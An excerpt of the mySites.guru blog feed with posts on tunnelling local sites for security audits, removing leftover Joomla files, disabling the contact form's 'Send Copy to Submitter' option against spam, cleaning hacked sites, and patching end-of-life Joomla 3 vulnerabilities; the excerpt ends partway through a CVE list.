  &lt;p&gt;You need an unlimited-sites subscription to connect tunnel URLs. Free trial, disposable, and single-site accounts cannot use tunnel URLs - this prevents fraud and abuse.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;4. When you&apos;re done&lt;/h3&gt;
&lt;p&gt;Press &lt;code&gt;Ctrl+C&lt;/code&gt; in the terminal to stop the tunnel. Your local site immediately becomes inaccessible from the internet.&lt;/p&gt;
&lt;p&gt;On the free Ngrok tier, the URL changes every time you start a new tunnel. If you want a persistent URL, &lt;a href=&quot;https://ngrok.com/pricing&quot;&gt;upgrade to a paid plan&lt;/a&gt; and reserve a custom domain.&lt;/p&gt;
&lt;p&gt;If you&apos;re using WordPress and running into issues with Ngrok, check the &lt;a href=&quot;https://ngrok.com/docs#wordpress&quot;&gt;WordPress-specific notes&lt;/a&gt; in the Ngrok docs.&lt;/p&gt;
&lt;h2&gt;What Are the Alternatives to Ngrok?&lt;/h2&gt;
&lt;p&gt;Ngrok is the most widely used option, but there are good alternatives.&lt;/p&gt;
&lt;h3&gt;Expose&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expose.dev&quot;&gt;Expose&lt;/a&gt; is a tunnelling tool written in PHP. It works the same way as Ngrok: install it, run a command, and get a public URL for your local site.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;expose share http://localhost:8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expose has a free hobby tier with time-limited sessions and random URLs. The Pro plan ($79/year) adds persistent URLs, custom domains, and access to global servers. If your stack is PHP-heavy, Expose feels like a natural fit. It also integrates with &lt;a href=&quot;https://herd.laravel.com/&quot;&gt;Laravel Herd&lt;/a&gt; if you use that for local development.&lt;/p&gt;
&lt;h3&gt;Cloudflare Tunnel&lt;/h3&gt;
&lt;p&gt;If you already use Cloudflare for DNS, &lt;a href=&quot;https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/&quot;&gt;Cloudflare Tunnel&lt;/a&gt; (formerly Argo Tunnel) can expose local services through your existing Cloudflare setup. It&apos;s free for personal use through the Zero Trust dashboard.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cloudflared tunnel --url http://localhost:8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The main advantage is that traffic stays within Cloudflare&apos;s network, and you can layer on their access policies for authentication. The trade-off is more setup than Ngrok or Expose.&lt;/p&gt;
&lt;h3&gt;Tailscale Funnel&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://tailscale.com/kb/1223/funnel/&quot;&gt;Tailscale Funnel&lt;/a&gt; lets you expose a local service to the internet through Tailscale&apos;s network. It&apos;s free with a Tailscale account. Good if you already use Tailscale for your VPN.&lt;/p&gt;
&lt;p&gt;All of these work with mySites.guru. The only requirement is that the tool gives you a public HTTPS URL that mySites.guru can reach.&lt;/p&gt;
&lt;h2&gt;What Can You Do Once Connected?&lt;/h2&gt;
&lt;p&gt;Once connected, your local site gets the full mySites.guru toolset - &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audits&lt;/a&gt; that scan every file for hacks, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshots&lt;/a&gt; for best-practice checks, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;file monitoring&lt;/a&gt; for real-time change alerts, and &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;uptime monitoring&lt;/a&gt; if you want to keep tabs on a staging environment.&lt;/p&gt;
&lt;p&gt;mySites.guru doesn&apos;t know or care that the site is running on your laptop. It treats it the same as any live production site.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Local auditing fits into the broader security workflow in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security audits</category><category>local sites</category><category>firewalls</category><category>ngrok</category><category>tunnelling</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-7.D46rXhEe.webp" length="0" type="image/webp"/></item><item><title>Remove Fluff Files After Joomla Updates</title><link>https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/</guid><description>mySites.guru can automatically delete leftover installation folders, readme files and other fluff left behind after Joomla core updates.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;What is fluff??? – &lt;em&gt;Unneeded files that Joomla distributes that you can safely remove from your site.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Remove the joomla fluff after each update&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Lots of people asked us to remove “Fluff files” automatically on upgrading Joomla – well, you can now opt in for this on the &lt;strong&gt;Settings Tab&lt;/strong&gt; of  your &lt;strong&gt;Manage Site&lt;/strong&gt; pages in your account at &lt;a href=&quot;https://mysites.guru&quot;&gt;https://mysites.guru&lt;/a&gt;. If you&apos;re on Joomla 5.4+, you should also check whether &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core updates&lt;/a&gt; are enabled on your sites, since those can trigger updates (and leave fluff behind) without anyone touching the admin panel.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Removing these files won&apos;t damage your site - it just tidies up your webspace. There&apos;s no risk in leaving them, but removing them is good practice.&lt;/p&gt;
&lt;p&gt;You can check the status of these files at any time on the Snapshot Tab.&lt;/p&gt;
&lt;p&gt;After a snapshot is taken in mySites.guru, we display the number of files that are found in the snapshot results page&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The &quot;Learn More&quot; button explains the check and the technical details. The &quot;Investigate&quot; button deletes the fluff files from your site.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The files which we will remove are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/.appveyor.yml
/.drone.yml
/.editorconfig
/.git-blame-ignore-revs
/.gitignore
/.php-cs-fixer.dist.php
/.travis.yml
/build.xml
/CHANGELOG.php
/CODE_OF_CONDUCT.md
/configuration.php-dist
/CONTRIBUTING.md
/COPYRIGHT.php
/CREDITS.php
/cypress.config.dist.js
/htaccess.txt
/INSTALL.php
/joomla.xml
/LICENSE.php
/LICENSE.txt
/LICENSES.php
/package.json
/package-lock.json
/phpunit.xml.dist
/phpunit-pgsql.xml.dist
/README.md
/README.txt
/renovate.json
/robots.txt.dist
/ruleset.xml
/travisci-phpunit.xml
/web.config.txt
/images/banners/osmbanner1.png
/images/banners/osmbanner2.png
/images/banners/shop-ad-books.jpg
/images/banners/shop-ad.jpg
/images/banners/white.png
/images/headers/blue-flower.jpg
/images/headers/maple.jpg
/images/headers/raindrops.jpg
/images/headers/walden-pond.jpg
/images/headers/windows.jpg
/images/joomla_black.gif
/images/joomla_black.png
/images/joomla_green.gif
/images/joomla_logo_black.jpg
/images/powered_by.png
/images/sampledata/fruitshop/apple.jpg
/images/sampledata/fruitshop/bananas_2.jpg
/images/sampledata/fruitshop/fruits.gif
/images/sampledata/fruitshop/tamarind.jpg
/images/sampledata/parks/animals/180px_koala_ag1.jpg
/images/sampledata/parks/animals/180px_wobbegong.jpg
/images/sampledata/parks/animals/200px_phyllopteryx_taeniolatus1.jpg
/images/sampledata/parks/animals/220px_spottedquoll_2005_seanmcclean.jpg
/images/sampledata/parks/animals/789px_spottedquoll_2005_seanmcclean.jpg
/images/sampledata/parks/animals/800px_koala_ag1.jpg
/images/sampledata/parks/animals/800px_phyllopteryx_taeniolatus1.jpg
/images/sampledata/parks/animals/800px_wobbegong.jpg
/images/sampledata/parks/banner_cradle.jpg
/images/sampledata/parks/landscape/120px_pinnacles_western_australia.jpg
/images/sampledata/parks/landscape/120px_rainforest_bluemountainsnsw.jpg
/images/sampledata/parks/landscape/180px_ormiston_pound.jpg
/images/sampledata/parks/landscape/250px_cradle_mountain_seen_from_barn_bluff.jpg
/images/sampledata/parks/landscape/727px_rainforest_bluemountainsnsw.jpg
/images/sampledata/parks/landscape/800px_cradle_mountain_seen_from_barn_bluff.jpg
/images/sampledata/parks/landscape/800px_ormiston_pound.jpg
/images/sampledata/parks/landscape/800px_pinnacles_western_australia.jpg
/images/sampledata/parks/parks.gif
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Please note, just because we call the License file fluff, doesnt mean we believe the license Joomla is distributed under is fluff – just to be clear 🙂 The GPL recommends that the text of the license is distributed with the Open Source of the product, but you don’t need it there cluttering up your webspace.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We did try to get the Joomla project to see sense, but failed 😉&lt;/p&gt;
&lt;h2&gt;Can You View Fluff File Status Across All Joomla Sites?&lt;/h2&gt;
&lt;p&gt;The Ultimate Toolset at mySites.guru allows you to view how many fluff files are on each Joomla site at a glance also. like this:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;View the fluff files in Joomla across many sites&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Does mySites.guru Check Technical Requirements Too?&lt;/h2&gt;
&lt;p&gt;Planning an upgrade? mySites.guru can check whether your sites meet the technical requirements for &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6&lt;/a&gt; before you hit the update button - across all your connected sites at once.&lt;/p&gt;
&lt;h2&gt;What About Hidden Files?&lt;/h2&gt;
&lt;p&gt;Speaking of tidying up your webspace - fluff files aren&apos;t the only things hiding in plain sight. Hackers plant &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;dot-prefixed hidden files and folders&lt;/a&gt; that most file managers never show you. The mySites.guru audit surfaces them all in seconds.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Post-update cleanup is part of our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;guide to managing updates at scale&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>security</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/remove-joomla-fluff.7USoCdl7.webp" length="0" type="image/webp"/></item><item><title>Disable &quot;Send Copy to Submitter&quot; in Joomla</title><link>https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/</guid><description>Use mySites.guru to bulk-disable the Joomla Send Copy to Submitter contact form setting across all your sites to stop it being abused for spam.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We have all been there. The customer calls and says people are telling him that his &lt;strong&gt;Joomla Site is spamming them&lt;/strong&gt;, and on investigation the spammer has misused the &lt;code&gt;Send Copy To Submitter&lt;/code&gt; feature of Joomla. &lt;strong&gt;Well now mySites.guru identifies this setting and alerts you if its not disabled.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;One of the long standing core features of Joomla is the Contact Form.&lt;/p&gt;
&lt;p&gt;However, the contact form has been much abused by spammers over the years.&lt;/p&gt;
&lt;p&gt;One of the ways spammers abuse the contact form is to use the &lt;code&gt;Send Copy To Submitter&lt;/code&gt; feature.&lt;/p&gt;
&lt;p&gt;This is a simple checkbox on the contact form that, when ticked, and the form submitted, will send the contact form as normal to the Site Admin (or whoever its configured to send to) as well as to the email address provided by the person filling in the form.&lt;/p&gt;
&lt;p&gt;That &quot;person&quot; might be a bot, a spammer, and the email address they provide in the &quot;Email&quot; input is the email address destination of their spam target.&lt;/p&gt;
&lt;p&gt;Once they put the email of their target in, and check the &lt;code&gt;Send Copy To Submitter&lt;/code&gt;box they submit the form and Joomla simply honours what they have asked. It sends a copy to the email address provided.&lt;/p&gt;
&lt;p&gt;The &quot;victim&quot; then receives spam with a subject line starting &quot;Copy of:&quot;&lt;/p&gt;
&lt;p&gt;The &quot;victim&quot; then accuses your site of spamming them. Of course, this only works if your site&apos;s email configuration is actually sending mail in the first place - see &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;how to verify your Joomla email configuration&lt;/a&gt; for the full checklist.&lt;/p&gt;
&lt;h2&gt;How Do You Disable Send to Submitter in Joomla?&lt;/h2&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;h2&gt;Does the mySites.guru Snapshot Show This Setting?&lt;/h2&gt;
&lt;p&gt;Every day the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;mySites.guru snapshot takes tens of thousands of new snapshots of Joomla and WordPress sites&lt;/a&gt; (the &lt;code&gt;Send Copy To Submitter&lt;/code&gt; issue is a Joomla thing though!)&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;We now report in the snapshot if your site has the &lt;code&gt;Send Copy To Submitter&lt;/code&gt;setting enabled.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Note that in later versions this setting is disabled by default when you install Joomla, and that earlier versions had it enabled by default.&lt;/p&gt;
&lt;p&gt;Note also that although we check the Global value of this setting, you can still override the Global setting on a per form basis. We don&apos;t check this because that is a deliberate action you would need to take, and we hope you know why you did it. We are just recommending sane Global defaults.&lt;/p&gt;
&lt;p&gt;You can also use the pivot button to view this settings current status on ALL your connected sites to mySites.guru (remember that &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru is an UNLIMITED SITES service for only GBP19.99 a month&lt;/a&gt;!)&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;For more Joomla-specific configuration and security tips for agencies, see the &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you are running Joomla 6.1 or later, the built-in &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/&quot;&gt;proof-of-work captcha&lt;/a&gt; is now the better default for contact form spam protection than Google reCAPTCHA. No API keys, no cookie consent banner, and it does not send anything to a third party.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>spam prevention</category><category>security</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/5.BpDhG7vS.webp" length="0" type="image/webp"/></item><item><title>Clean a Hacked Site with Suspect Content and Hacked Files</title><link>https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/</guid><description>Use mySites.guru&apos;s Suspect Content and Hacked Files tools to find, confirm, and clean backdoors on a hacked Joomla or WordPress site, step by step.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So it happened. Your site got hacked. Don&apos;t panic. If you haven&apos;t triaged the hack yet, start with our &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked-site guide&lt;/a&gt; for the first steps to take before you touch anything else. If you&apos;re not 100% sure yet, start with &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;how to tell if your WordPress site is actually hacked&lt;/a&gt; - it covers the signs vs. false alarms. For the full rundown on what happens when a &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress site gets hacked&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla site gets hacked&lt;/a&gt;, those guides cover warnings signs, consequences, and prevention - but this post is about the cleanup process using mySites.guru. If your Joomla site uses the Astroid Framework, check our &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid vulnerability breakdown&lt;/a&gt; first - it covers the specific backdoors and cleanup steps for that attack. Extension vulnerabilities like the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework exploit&lt;/a&gt; are another common entry point, particularly because shared library plugins like nrframework get bundled as silent dependencies that site owners don&apos;t realise are there.&lt;/p&gt;
&lt;h2&gt;Why Should You Back Up First (and Not Restore)?&lt;/h2&gt;
&lt;p&gt;Do it now. &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Back up your site&lt;/a&gt;. Even if it&apos;s hacked. Back up right now. Done? Good.&lt;/p&gt;
&lt;p&gt;You&apos;ll see people recommend restoring from your last clean backup. &lt;strong&gt;This should only be a last resort.&lt;/strong&gt; Restoring wipes away evidence that someone experienced can use to understand how you were hacked in the first place. Worse, it re-introduces the same security hole that let the attacker in.&lt;/p&gt;
&lt;h2&gt;Want an expert to just fix it?&lt;/h2&gt;
&lt;p&gt;If you&apos;d rather hand this off, visit &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; and submit a request. For a one-time set fee of GBP 120, Phil will clean your site, upgrade it, lock it down and hand it back secure. Non-subscribers get a free month of mySites.guru included.&lt;/p&gt;
&lt;h2&gt;How Do You Find the Hacked Files with mySites.guru?&lt;/h2&gt;
&lt;p&gt;mySites.guru has a set of tools built specifically for this. The platform checks every line of code in your webspace to show you what&apos;s actually happening on your site.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The most popular tool for hack cleanup is the &lt;strong&gt;suspect content scanner&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;How Do You Discover Suspect Content in Your Files?&lt;/h2&gt;
&lt;p&gt;After your site has been audited, you&apos;ll find the suspect content tool in the &quot;Hacked?&quot; section of the Audit tab.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Clicking &lt;strong&gt;Investigate&lt;/strong&gt; loads a real-time scan of your files:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The tool shows the file path, filename, last modified date, size, and permissions. You get buttons to edit the file, view the suspect content matches, or delete the file entirely. Before deleting anything, make sure you know &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;which results are confirmed hacks and which are pattern matches needing a closer look&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Click on a filename and the platform retrieves the file from your site, runs it against the pattern matching engine, and highlights the exact lines that look suspicious:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How Do You Revert Core Joomla and WordPress Files?&lt;/h2&gt;
&lt;p&gt;In the example above, index.php has two lines of injected code. You could edit those lines out manually, but there&apos;s a faster way.&lt;/p&gt;
&lt;p&gt;The first tool in the Audit tab is the &lt;strong&gt;core file integrity check&lt;/strong&gt; - it lists every core file (Joomla or WordPress) that has been modified since release. Click on a file and you get a side-by-side diff: the original on the left, your modified version on the right.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Click the blue arrow and the original file is restored in a single click - overwriting the hacked version and reverting all changes.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What Other Audit Tools Help Investigate a Hack?&lt;/h2&gt;
&lt;p&gt;The suspect content scanner and core file diff are just two of the tools available. The full &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit toolset&lt;/a&gt; includes checks for:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Not every flagged file is malicious. Some are &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden dot-files left behind by tools or hosting providers&lt;/a&gt; that are harmless but worth knowing about. Work through each tool and you&apos;ll know exactly what needs cleaning.&lt;/p&gt;
&lt;h2&gt;How Do You Set Up Monitoring to Catch Future Hacks Early?&lt;/h2&gt;
&lt;p&gt;Once your site is clean, set up monitoring so you&apos;ll know immediately if something changes again.&lt;/p&gt;
&lt;p&gt;mySites.guru lets you add &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt; and run unlimited backups, snapshots, and audits. The &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file monitoring&lt;/a&gt; checks a configurable list of critical files on every page load and emails you if any of them are modified.&lt;/p&gt;
&lt;p&gt;This matters because the first hack often leaves a dormant dropper behind, and a &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;second wave reactivates it days or weeks after your cleanup&lt;/a&gt; to plant more backdoors. Continuous file-change monitoring is how you catch that return visit.&lt;/p&gt;
&lt;p&gt;Finding a hack the same day it happens is a completely different situation from discovering it three months later.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Always back up before making changes&lt;/p&gt;
  &lt;p&gt;Before editing or restoring any files, take a fresh backup. If something goes wrong during cleanup, you need a way to get back to where you started.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on your site to see what mySites.guru finds.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is part of our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt; for agencies.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>hack detection</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/_astro/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru.CJDDleBK.png" length="0" type="image/png"/></item><item><title>Fix Joomla 3 Security Issues in One Click</title><link>https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/</guid><description>Patch every known Joomla 3 security vulnerability across all your sites with a single toggle in mySites.guru - no manual file edits, no eLTS subscription.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 3 is end of life. The official project stopped releasing public updates at 3.10.12, but new vulnerabilities keep turning up. Through 2025 and into 2026, more have been disclosed via the &lt;a href=&quot;https://elts.joomla.org/&quot;&gt;eLTS programme&lt;/a&gt;, including a SQL injection in the database package and a Media Manager flaw that let editors upload executable PHP files.&lt;/p&gt;
&lt;p&gt;Manually patching 59 files per site is tedious enough when you have five sites. When you have five hundred, forget it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;mySites.guru fixes every known Joomla 3 security issue with a single click.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We include all Joomla 3 security fixes in the service. No eLTS subscription needed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;How Does It Work?&lt;/h2&gt;
&lt;p&gt;The patch tool is in the Site Snapshot for each Joomla 3.10.12 site in your mySites.guru account. One toggle. That&apos;s it.&lt;/p&gt;
&lt;p&gt;Note: the toggle works on any Joomla 3.10.12 install. The tool ships every patch through to the latest eLTS backport (3.10.20-elts and beyond), so flipping it on brings the site right up to date in one go.&lt;/p&gt;
&lt;p&gt;Under the hood, the mySites.guru connector tracks the MD5 hash of each file that needs patching. Flip the toggle on and it compares hashes against the expected patched versions, replacing anything that doesn&apos;t match. Flip it off and the files revert to stock 3.10.12.&lt;/p&gt;
&lt;p&gt;The tool only runs on Joomla 3.10.12, the last publicly released version of the Joomla 3 series. It ignores the commercial eLTS programme entirely.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Where Do You Find the Tool?&lt;/h2&gt;
&lt;p&gt;Two ways to get there:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;Cmd+K&lt;/a&gt; and search for &quot;Fix All Known Joomla 3&quot;&lt;/li&gt;
&lt;li&gt;Open your site&apos;s &lt;a href=&quot;https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/&quot;&gt;Snapshot&lt;/a&gt; and scroll to the Joomla Configuration section&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Both paths lead to a tool overview page listing every Joomla 3.10.12 site you manage, along with each site&apos;s current patch status.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How Do You Patch Multiple Sites at Once?&lt;/h2&gt;
&lt;p&gt;Got dozens or hundreds of Joomla 3 sites? Click the grid icon next to the toggle to open the bulk view. It shows every Joomla 3.10.12 site with individual toggles. If you&apos;re &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; from a single dashboard, this bulk view is where you&apos;ll spend most of your time.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Direct link: &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol&quot;&gt;manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;What vulnerabilities does it fix?&lt;/h2&gt;
&lt;p&gt;Individually, none of these will get your site hacked while you sleep. But stacked together across an unpatched site, they add up. The patch covers 59 files and addresses every known vulnerability disclosed since 3.10.12:&lt;/p&gt;
&lt;h3&gt;XSS vulnerabilities&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21724&quot;&gt;CVE-2024-21724&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/927-20240203-core-xss-in-media-selection-fields.html&quot;&gt;XSS in media selection fields&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21725&quot;&gt;CVE-2024-21725&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/928-20240204-core-xss-in-mail-address-outputs.html&quot;&gt;XSS in mail address outputs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21726&quot;&gt;CVE-2024-21726&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/929-20240205-core-inadequate-content-filtering-within-the-filter-code.html&quot;&gt;Inadequate content filtering within the filter code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21731&quot;&gt;CVE-2024-21731&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/937-20240703-core-xss-in-stringhelper-truncate-method.html&quot;&gt;XSS in StringHelper::truncate method&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-26278&quot;&gt;CVE-2024-26278&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/939-20240705-core-xss-in-com-fields-default-field-value.html&quot;&gt;XSS in com_fields default field value&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-26279&quot;&gt;CVE-2024-26279&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/938-20240704-core-xss-in-wrapper-extensions.html&quot;&gt;XSS in Wrapper extensions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-40743&quot;&gt;CVE-2024-40743&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/946-20240805-core-xss-vectors-in-outputfilter-strip-methods.html&quot;&gt;XSS vectors in Outputfilter::strip* methods&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-40747&quot;&gt;CVE-2024-40747&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/954-20250101-core-xss-vectors-in-module-chromes.html&quot;&gt;XSS vectors in module chromes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-40748&quot;&gt;CVE-2024-40748&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/955-20250102-core-xss-vector-in-the-id-attribute-of-menu-lists.html&quot;&gt;XSS vector in the id attribute of menu lists&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-63083&quot;&gt;CVE-2025-63083&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1017-20260102-core-xss-vector-in-the-pagebreak-plugin.html&quot;&gt;XSS vector in the pagebreak plugin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Other vulnerabilities&lt;/h3&gt;
&lt;ul&gt;
